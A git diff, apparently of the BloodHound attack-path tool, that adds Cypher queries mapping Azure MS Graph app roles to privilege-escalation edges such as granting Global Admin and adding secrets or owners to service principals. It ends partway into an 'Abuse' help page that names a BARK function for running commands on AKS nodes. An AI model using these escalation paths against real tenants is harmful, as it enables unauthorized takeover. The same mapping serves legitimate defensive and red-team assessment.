"https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", - "integrity": "sha512-bmkUukX8wAOjHdN26xj5c4ctEV22TQ7dQYhSmuckKhToXrkUn0iIaolHdIxYYqD55nhpSPA9zPQ1yP57GdXP2A==", - "dev": true, - "requires": { - "graceful-readlink": ">= 1.0.0" - } - } - } - }, "doctrine": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", @@ -18301,13 +18180,12 @@ } }, "electron-packager": { - "version": "15.5.1", - "resolved": "https://registry.npmjs.org/electron-packager/-/electron-packager-15.5.1.tgz", - "integrity": "sha512-9/fqF64GACZsLYLuFJ8vCqItMXbvsD0NMDLNfFmAv9mSqkqKWSZb5V3VE9CxT6CeXwZ6wN3YowEQuqBNyShEVg==", + "version": "15.4.0", + "resolved": "https://registry.npmjs.org/electron-packager/-/electron-packager-15.4.0.tgz", + "integrity": "sha512-JrrLcBP15KGrPj0cZ/ALKGmaQ4gJkn3mocf0E3bRKdR3kxKWYcDRpCvdhksYDXw/r3I6tMEcZ7XzyApWFXdVpw==", "dev": true, "requires": { "@electron/get": "^1.6.0", - "@electron/universal": "^1.2.1", "asar": "^3.1.0", "cross-spawn-windows-exe": "^1.2.0", "debug": "^4.0.1", @@ -18751,15 +18629,6 @@ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", @@ -18857,15 +18726,6 @@ "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", "dev": true }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, "resolve": { "version": "2.0.0-next.4", "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.4.tgz", @@ -19647,12 +19507,6 @@ "universalify": "^2.0.0" }, "dependencies": { - "graceful-fs": { - "version": "4.2.9", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.9.tgz", - "integrity": "sha512-NtNxqUcXgpW2iMrfqSfR73Glt39K+BLwWsPs94yR63v45T0Wbej7eRmL5cWfwEgqXnmjQp3zaJTshdRW/qC2ZQ==", - "dev": true - }, "jsonfile": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", @@ -19739,19 +19593,27 @@ "dependencies": { "abbrev": { "version": "1.1.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "ansi-regex": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "are-we-there-yet": { "version": "1.1.5", "bundled": true, + "dev": true, + "optional": true, "requires": { "delegates": "^1.0.0", "readable-stream": "^2.0.6" @@ -19759,11 +19621,15 @@ }, "balanced-match": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, + "dev": true, + "optional": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -19771,57 +19637,81 @@ }, "chownr": { "version": "1.1.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "code-point-at": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "concat-map": { "version": "0.0.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "console-control-strings": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "core-util-is": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "debug": { "version": "4.1.1", "bundled": true, + "dev": true, + "optional": true, "requires": { "ms": "^2.1.1" } }, "deep-extend": { "version": "0.6.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "delegates": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "detect-libc": { "version": "1.0.3", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "fs-minipass": { "version": "1.2.5", "bundled": true, + "dev": true, + "optional": true, "requires": { "minipass": "^2.2.1" } }, "fs.realpath": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "gauge": { "version": "2.7.4", "bundled": true, + "dev": true, + "optional": true, "requires": { "aproba": "^1.0.3", "console-control-strings": "^1.0.0", @@ -19836,6 +19726,8 @@ "glob": { "version": "7.1.3", "bundled": true, + "dev": true, + "optional": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -19847,11 +19739,15 @@ }, "has-unicode": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "iconv-lite": { "version": "0.4.24", "bundled": true, + "dev": true, + "optional": true, "requires": { "safer-buffer": ">= 2.1.2 < 3" } @@ -19859,6 +19755,8 @@ "ignore-walk": { "version": "3.0.1", "bundled": true, + "dev": true, + "optional": true, "requires": { "minimatch": "^3.0.4" } @@ -19866,6 +19764,8 @@ "inflight": { "version": "1.0.6", "bundled": true, + "dev": true, + "optional": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -19873,37 +19773,51 @@ }, "inherits": { "version": "2.0.3", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "ini": { "version": "1.3.5", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "is-fullwidth-code-point": { "version": "1.0.0", "bundled": true, + "dev": true, + "optional": true, "requires": { "number-is-nan": "^1.0.0" } }, "isarray": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "minimatch": { "version": "3.0.4", "bundled": true, + "dev": true, + "optional": true, "requires": { "brace-expansion": "^1.1.7" } }, "minimist": { "version": "0.0.8", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "minipass": { "version": "2.3.5", "bundled": true, + "dev": true, + "optional": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -19912,6 +19826,8 @@ "minizlib": { "version": "1.2.1", "bundled": true, + "dev": true, + "optional": true, "requires": { "minipass": "^2.2.1" } @@ -19919,17 +19835,23 @@ "mkdirp": { "version": "0.5.1", "bundled": true, + "dev": true, + "optional": true, "requires": { "minimist": "0.0.8" } }, "ms": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "needle": { "version": "2.3.0", "bundled": true, + "dev": true, + "optional": true, "requires": { "debug": "^4.1.0", "iconv-lite": "^0.4.4", @@ -19939,6 +19861,8 @@ "node-pre-gyp": { "version": "0.12.0", "bundled": true, + "dev": true, + "optional": true, "requires": { "detect-libc": "^1.0.2", "mkdirp": "^0.5.1", @@ -19955,6 +19879,8 @@ "nopt": { "version": "4.0.1", "bundled": true, + "dev": true, + "optional": true, "requires": { "abbrev": "1", "osenv": "^0.1.4" @@ -19962,11 +19888,15 @@ }, "npm-bundled": { "version": "1.0.6", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "npm-packlist": { "version": "1.4.1", "bundled": true, + "dev": true, + "optional": true, "requires": { "ignore-walk": "^3.0.1", "npm-bundled": "^1.0.1" @@ -19975,6 +19905,8 @@ "npmlog": { "version": "4.1.2", "bundled": true, + "dev": true, + "optional": true, "requires": { "are-we-there-yet": "~1.1.2", "console-control-strings": "~1.1.0", @@ -19984,30 +19916,42 @@ }, "number-is-nan": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "object-assign": { "version": "4.1.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "once": { "version": "1.4.0", "bundled": true, + "dev": true, + "optional": true, "requires": { "wrappy": "1" } }, "os-homedir": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "os-tmpdir": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "osenv": { "version": "0.1.5", "bundled": true, + "dev": true, + "optional": true, "requires": { "os-homedir": "^1.0.0", "os-tmpdir": "^1.0.0" @@ -20015,15 +19959,21 @@ }, "path-is-absolute": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "process-nextick-args": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "rc": { "version": "1.2.8", "bundled": true, + "dev": true, + "optional": true, "requires": { "deep-extend": "^0.6.0", "ini": "~1.3.0", @@ -20033,13 +19983,17 @@ "dependencies": { "minimist": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true } } }, "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, + "optional": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -20053,37 +20007,53 @@ "rimraf": { "version": "2.6.3", "bundled": true, + "dev": true, + "optional": true, "requires": { "glob": "^7.1.3" } }, "safe-buffer": { "version": "5.1.2", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "safer-buffer": { "version": "2.1.2", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "sax": { "version": "1.2.4", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "semver": { "version": "5.7.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "set-blocking": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "signal-exit": { "version": "3.0.2", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, + "optional": true, "requires": { "safe-buffer": "~5.1.0" } @@ -20091,6 +20061,8 @@ "string-width": { "version": "1.0.2", "bundled": true, + "dev": true, + "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -20100,17 +20072,23 @@ "strip-ansi": { "version": "3.0.1", "bundled": true, + "dev": true, + "optional": true, "requires": { "ansi-regex": "^2.0.0" } }, "strip-json-comments": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "tar": { "version": "4.4.8", "bundled": true, + "dev": true, + "optional": true, "requires": { "chownr": "^1.1.1", "fs-minipass": "^1.2.5", @@ -20123,22 +20101,30 @@ }, "util-deprecate": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "wide-align": { "version": "1.1.3", "bundled": true, + "dev": true, + "optional": true, "requires": { "string-width": "^1.0.2 || 2" } }, "wrappy": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true, + "optional": true }, "yallist": { "version": "3.0.3", - "bundled": true + "bundled": true, + "dev": true, + "optional": true } } }, @@ -20286,15 +20272,15 @@ } }, "glob": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", - "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", - "minimatch": "^3.0.4", + "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } @@ -20427,15 +20413,9 @@ } }, "graceful-fs": { - "version": "4.1.15", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.15.tgz", - "integrity": "sha512-6uHUhOPEBgQ24HM+r6b/QwWfZq+yiFcipKFrOFiBEnWdy5sdzYoi+pJeQaPI5qOLRFqWmAXUPQNsielzdLoecA==" - }, - "graceful-readlink": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz", - "integrity": "sha512-8tLu60LgxF6XpdbK8OW3FA+IfTNBn1ZHGHKF4KQbEeSkajYw5PlYJcKluntgegDPTg8UkHjpet1T82vk6TQ68w==", - "dev": true + "version": "4.2.10", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==" }, "graphlib": { "version": "2.1.8", @@ -21572,9 +21552,9 @@ "dev": true }, "minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", "dev": true, "requires": { "brace-expansion": "^1.1.7" diff --git a/package.json b/package.json index 0f0dd44fd..1e440e9b8 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "bloodhound", - "version": "4.2.0", + "version": "4.3.0", "description": "Graph Theory for Active Directory", "prettier": { "tabWidth": 4, @@ -65,7 +65,7 @@ "cross-env": "^7.0.3", "css-loader": "^3.6.0", "electron": "^11.5.0", - "electron-packager": "^15.4.0", + "electron-packager": "15.4.0", "eslint": "^8.20.0", "eslint-config-prettier": "^8.5.0", "eslint-plugin-react": "^7.30.1", diff --git a/src/components/Menu/MenuContainer.jsx b/src/components/Menu/MenuContainer.jsx index d08ab0edc..cb187209e 100644 --- a/src/components/Menu/MenuContainer.jsx +++ b/src/components/Menu/MenuContainer.jsx @@ -604,9 +604,15 @@ const MenuContainer = () => { AzureLabels.ExecuteCommand, AzureLabels.ResetPassword, AzureLabels.AddMembers, + AzureLabels.AddOwner, AzureLabels.GlobalAdmin, AzureLabels.PrivilegedAuthAdmin, AzureLabels.PrivilegedRoleAdmin, + AzureLabels.MGAddSecret, + AzureLabels.MGAddOwner, + AzureLabels.MGAddMember, + AzureLabels.MGGrantAppRoles, + AzureLabels.MGGrantRole ].join('|'), batchSize ), @@ -982,6 +988,242 @@ const MenuContainer = () => { result.summary.counters.updates().relationshipsCreated } AZAddOwner Edges`, }, + { + step: 'createAZMGApplicationReadWriteAllEdges', + description: + 'Service Principals with the Application.ReadWrite.All MS Graph app role can add owners and secrets to all other Service Principals and App Registrations in the same tenant.', + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGApplication_ReadWrite_All]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(o) + WHERE o:AZApp OR o:AZServicePrincipal + CALL { + WITH n,o + MERGE (n)-[:AZMGAddSecret]->(o) + MERGE (n)-[:AZMGAddOwner]->(o) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGApplicationReadWriteAllEdges Edges`, + }, + { + step: 'createAZMGAppRoleAssignmentReadWriteAllEdges', + description: + 'Service Principals with the AppRoleAssignment.ReadWrite.All MS Graph app role can add MS Graph app role assignments to any Service Principal in the same tenant, including the RoleManagement.ReadWrite.Directory role, allowing escalation to Global Admin.', + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGAppRoleAssignment_ReadWrite_All]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + CALL { + WITH n,t + MERGE (n)-[:AZMGGrantAppRoles]->(t) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGAppRoleAssignmentReadWriteAll Edges`, + }, + { + step: 'createAZMGDirectoryReadWriteAllEdges', + description: + 'Service Principals with the Directory.ReadWrite.All MS Graph app role can add owners or members to all non role eligible security groups in the same tenant.', + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGDirectory_ReadWrite_All]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(g:AZGroup) + WHERE g.isassignabletorole IS NULL + CALL { + WITH n,g + MERGE (n)-[:AZMGAddMember]->(g) + MERGE (n)-[:AZMGAddOwner]->(g) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGDirectoryReadWriteAll Edges`, + }, + { + step: 'createAZMGGroupReadWriteAllEdges', + description: + 'Service Principals with the Group.ReadWrite.All MS Graph app role can add owners or members to all non role eligible security groups in the same tenant.', + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGGroup_ReadWrite_All]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(g:AZGroup) + WHERE g.isassignabletorole IS NULL + CALL { + WITH n,g + MERGE (n)-[:AZMGAddMember]->(g) + MERGE (n)-[:AZMGAddOwner]->(g) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGGroupReadWriteAll Edges`, + }, + { + step: 'createAZMGGroupMemberReadWriteAllEdges', + description: + 'Service Principals with the GroupMember.ReadWrite.All MS Graph app role can add members to all non role eligible security groups in the same tenant.', + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGGroupMember_ReadWrite_All]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(g:AZGroup) + WHERE g.isassignabletorole IS NULL + CALL { + WITH n,g + MERGE (n)-[:AZMGAddMember]->(g) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGGroupMemberReadWriteAll Edges`, + }, + { + step: 'createAZMGRoleManagementReadWriteDirectoryEdgesPart1', + description: + `Service Principals with the RoleManagement.ReadWrite.Directory MS Graph app role can: + Grant all AzureAD admin roles, including Global Administrator + Grant all MS Graph app roles + Add secrets to any Service Principal in the same tenant + Add owners to any Service Principal in the same tenant + Add secrets to any App Registation in the same tenant + Add owners to any App Registration in the same tenant + Add owners to any Group in the same tenant + Add members to any Group in the same tenant`, + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGRoleManagement_ReadWrite_Directory]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(r:AZRole) + CALL { + WITH n,t + MERGE (n)-[:AZMGGrantAppRoles]->(t) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGRoleManagementReadWriteDirectoryPart1 Edges`, + }, + { + step: 'createAZMGRoleManagementReadWriteDirectoryEdgesPart2', + description: + `Service Principals with the RoleManagement.ReadWrite.Directory MS Graph app role can: + Grant all AzureAD admin roles, including Global Administrator + Grant all MS Graph app roles + Add secrets to any Service Principal in the same tenant + Add owners to any Service Principal in the same tenant + Add secrets to any App Registation in the same tenant + Add owners to any App Registration in the same tenant + Add owners to any Group in the same tenant + Add members to any Group in the same tenant`, + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGRoleManagement_ReadWrite_Directory]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(r:AZRole) + CALL { + WITH n,r + MERGE (n)-[:AZMGGrantRole]->(r) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGRoleManagementReadWriteDirectoryPart2 Edges`, + }, + { + step: 'createAZMGRoleManagementReadWriteDirectoryEdgesPart3', + description: + `Service Principals with the RoleManagement.ReadWrite.Directory MS Graph app role can: + Grant all AzureAD admin roles, including Global Administrator + Grant all MS Graph app roles + Add secrets to any Service Principal in the same tenant + Add owners to any Service Principal in the same tenant + Add secrets to any App Registation in the same tenant + Add owners to any App Registration in the same tenant + Add owners to any Group in the same tenant + Add members to any Group in the same tenant`, + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGRoleManagement_ReadWrite_Directory]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(s:AZServicePrincipal) + CALL { + WITH n,s + MERGE (n)-[:AZMGAddSecret]->(s) + MERGE (n)-[:AZMGAddOwner]->(s) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGRoleManagementReadWriteDirectoryPart3 Edges`, + }, + { + step: 'createAZMGRoleManagementReadWriteDirectoryEdgesPart4', + description: + `Service Principals with the RoleManagement.ReadWrite.Directory MS Graph app role can: + Grant all AzureAD admin roles, including Global Administrator + Grant all MS Graph app roles + Add secrets to any Service Principal in the same tenant + Add owners to any Service Principal in the same tenant + Add secrets to any App Registation in the same tenant + Add owners to any App Registration in the same tenant + Add owners to any Group in the same tenant + Add members to any Group in the same tenant`, + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGRoleManagement_ReadWrite_Directory]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(a:AZApp) + CALL { + WITH n,a + MERGE (n)-[:AZMGAddSecret]->(a) + MERGE (n)-[:AZMGAddOwner]->(a) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGRoleManagementReadWriteDirectoryPart4 Edges`, + }, + { + step: 'createAZMGRoleManagementReadWriteDirectoryEdgesPart5', + description: + `Service Principals with the RoleManagement.ReadWrite.Directory MS Graph app role can: + Grant all AzureAD admin roles, including Global Administrator + Grant all MS Graph app roles + Add secrets to any Service Principal in the same tenant + Add owners to any Service Principal in the same tenant + Add secrets to any App Registation in the same tenant + Add owners to any App Registration in the same tenant + Add owners to any Group in the same tenant + Add members to any Group in the same tenant`, + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGRoleManagement_ReadWrite_Directory]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(g:AZGroup) + CALL { + WITH n,g + MERGE (n)-[:AZMGAddOwner]->(g) + MERGE (n)-[:AZMGAddMember]->(g) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGRoleManagementReadWriteDirectoryPart5 Edges`, + }, + { + step: 'createAZMGServicePrincipalEndpointReadWriteAllEdges', + description: + 'Service Principals with the ServicePrincipalEndpoint.ReadWrite.All MS Graph app role can add owners to all other Service Principals in the same tenant.', + type: 'query', + statement: `MATCH (n:AZServicePrincipal)-[:AZMGServicePrincipalEndpoint_ReadWrite_All]->(m:AZServicePrincipal)<-[:AZContains]-(t:AZTenant) + MATCH (t)-[:AZContains]->(s:AZServicePrincipal) + CALL { + WITH n,s + MERGE (n)-[:AZMGAddOwner]->(s) + } IN TRANSACTIONS OF {} ROWS`.format(batchSize), + params: null, + log: (result) => + `Created ${ + result.summary.counters.updates().relationshipsCreated + } AZMGServicePrincipalEndpointReadWriteAll Edges`, + }, ]; const executePostProcessSteps = async (steps, session) => { diff --git a/src/components/Modals/HelpModal.jsx b/src/components/Modals/HelpModal.jsx index ed1c6f235..214a085cc 100644 --- a/src/components/Modals/HelpModal.jsx +++ b/src/components/Modals/HelpModal.jsx @@ -59,6 +59,25 @@ import AddKeyCredentialLink from './HelpTexts/AddKeyCredentialLink/AddKeyCredent import DCSync from './HelpTexts/DCSync/DCSync'; import SyncLAPSPassword from './HelpTexts/SyncLAPSPassword/SyncLAPSPassword'; import WriteAccountRestrictions from './HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions'; +import AZMGAddMember from './HelpTexts/AZMGAddMember/AZMGAddMember'; +import AZMGAddOwner from './HelpTexts/AZMGAddOwner/AZMGAddOwner'; +import AZMGAddSecret from './HelpTexts/AZMGAddSecret/AZMGAddSecret'; +import AZMGGrantAppRoles from './HelpTexts/AZMGGrantAppRoles/AZMGGrantAppRoles'; +import AZMGGrantRole from './HelpTexts/AZMGGrantRole/AZMGGrantRole'; +import AZMGAppRoleAssignment_ReadWrite_All from './HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/AZMGAppRoleAssignment_ReadWrite_All'; +import AZMGApplication_ReadWrite_All from './HelpTexts/AZMGApplication_ReadWrite_All/AZMGApplication_ReadWrite_All'; +import AZMGDirectory_ReadWrite_All from './HelpTexts/AZMGDirectory_ReadWrite_All/AZMGDirectory_ReadWrite_All'; +import AZMGGroupMember_ReadWrite_All from './HelpTexts/AZMGGroupMember_ReadWrite_All/AZMGGroupMember_ReadWrite_All'; +import AZMGGroup_ReadWrite_All from './HelpTexts/AZMGGroup_ReadWrite_All/AZMGGroup_ReadWrite_All'; +import AZMGRoleManagement_ReadWrite_Directory from './HelpTexts/AZMGRoleManagement_ReadWrite_Directory/AZMGRoleManagement_ReadWrite_Directory'; +import AZMGServicePrincipalEndpoint_ReadWrite_All from './HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All'; +import AZWebsiteContributor from './HelpTexts/AZWebsiteContributor/AZWebsiteContributor'; +import AZAutomationContributor from './HelpTexts/AZAutomationContributor/AZAutomationContributor'; +import AZAddOwner from './HelpTexts/AZAddOwner/AZAddOwner'; +import AZAKSContributor from './HelpTexts/AZAKSContributor/AZAKSContributor'; +import AZKeyVaultKVContributor from './HelpTexts/AZKeyVaultKVContributor/AZKeyVaultKVContributor'; +import AZLogicAppContributor from './HelpTexts/AZLogicAppContributor/AZLogicAppContributor'; +import AZNodeResourceGroup from './HelpTexts/AZNodeResourceGroup/AZNodeResourceGroup'; const HelpModal = () => { const [sourceName, setSourceName] = useState(''); @@ -153,6 +172,25 @@ const HelpModal = () => { DCSync: DCSync, SyncLAPSPassword: SyncLAPSPassword, WriteAccountRestrictions: WriteAccountRestrictions, + AZMGAddMember: AZMGAddMember, + AZMGAddOwner: AZMGAddOwner, + AZMGAddSecret: AZMGAddSecret, + AZMGGrantAppRoles: AZMGGrantAppRoles, + AZMGGrantRole: AZMGGrantRole, + AZMGAppRoleAssignment_ReadWrite_All: AZMGAppRoleAssignment_ReadWrite_All, + AZMGApplication_ReadWrite_All: AZMGApplication_ReadWrite_All, + AZMGDirectory_ReadWrite_All: AZMGDirectory_ReadWrite_All, + AZMGGroupMember_ReadWrite_All: AZMGGroupMember_ReadWrite_All, + AZMGGroup_ReadWrite_All: AZMGGroup_ReadWrite_All, + AZMGRoleManagement_ReadWrite_Directory: AZMGRoleManagement_ReadWrite_Directory, + AZMGServicePrincipalEndpoint_ReadWrite_All: AZMGServicePrincipalEndpoint_ReadWrite_All, + AZWebsiteContributor: AZWebsiteContributor, + AZAddOwner: AZAddOwner, + AZAKSContributor: AZAKSContributor, + AZAutomationContributor: AZAutomationContributor, + AZKeyVaultKVContributor: AZKeyVaultKVContributor, + AZLogicAppContributor: AZLogicAppContributor, + AZNodeResourceGroup: AZNodeResourceGroup, }; const Component = edge in components ? components[edge] : Default; diff --git a/src/components/Modals/HelpTexts/AZAKSContributor/AZAKSContributor.jsx b/src/components/Modals/HelpTexts/AZAKSContributor/AZAKSContributor.jsx new file mode 100644 index 000000000..076dd77b6 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAKSContributor/AZAKSContributor.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZAKSContributor = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZAKSContributor.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZAKSContributor; diff --git a/src/components/Modals/HelpTexts/AZAKSContributor/Abuse.jsx b/src/components/Modals/HelpTexts/AZAKSContributor/Abuse.jsx new file mode 100644 index 000000000..23a51ed34 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAKSContributor/Abuse.jsx @@ -0,0 +1,75 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ You can use BARK's Invoke-AzureRMAKSRunCommand function + to execute commands on compute nodes associated with the + target AKS Managed Cluster. +

+ +

